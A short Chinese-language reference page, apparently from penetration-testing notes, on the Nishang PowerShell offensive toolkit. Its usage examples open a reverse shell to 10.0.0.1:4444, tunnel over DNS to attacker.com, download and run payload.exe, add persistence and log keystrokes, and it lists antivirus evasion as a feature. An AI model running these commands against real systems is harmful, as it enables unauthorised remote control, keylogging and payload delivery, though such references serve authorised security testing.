---
title: "Nishang"
weight: 70
description: "PowerShell 渗透工具集"
date: "2026-03-24T16:29:46+08:00"
lastmod: "2026-03-24T16:29:46+08:00"
---

## Nishang

Nishang 是一款 PowerShell 渗透工具集，提供多种攻击和后渗透功能。

## 基础使用

### 加载 Nishang
```powershell
Import-Module ./nishang.psm1
```

### 反向 Shell
```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 4444
```

### DNS 隧道
```powershell
Invoke-PowerShellDns -Domain attacker.com
```

### HTTP 下载执行
```powershell
Invoke-DownloadExecute -URL http://attacker.com/payload.exe
```

## 功能分类

### 反向 Shell
- **Invoke-PowerShellTcp** - TCP 反向 Shell
- **Invoke-PowerShellUdp** - UDP 反向 Shell
- **Invoke-PowerShellHttp** - HTTP 反向 Shell

### 持久化
- **Add-Persistence** - 添加持久化
- **Backdoor** - 后门程序

### 信息收集
- **Get-Information** - 系统信息
- **Get-Keystrokes** - 键盘记录

### 漏洞利用
- **Invoke-BruteForce** - 暴力破解
- **Copy-VSS** - 卷影复制

## 功能特性

- **纯 PowerShell** - 无需额外依赖
- **模块化** - 独立功能模块
- **免杀** - 多种绕过技术
- **后渗透** - 丰富的后渗透功能

## 使用示例

```powershell
# TCP 反向 Shell
Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 4444

# 添加持久化
Add-Persistence -ScriptPath ./script.ps1

# 键盘记录
Get-Keystrokes -LogPath C:\temp\keys.txt

# 下载执行
Invoke-DownloadExecute -URL http://attacker.com/payload.exe
```

## 参考资源

- [Nishang GitHub](https://github.com/samratashok/nishang)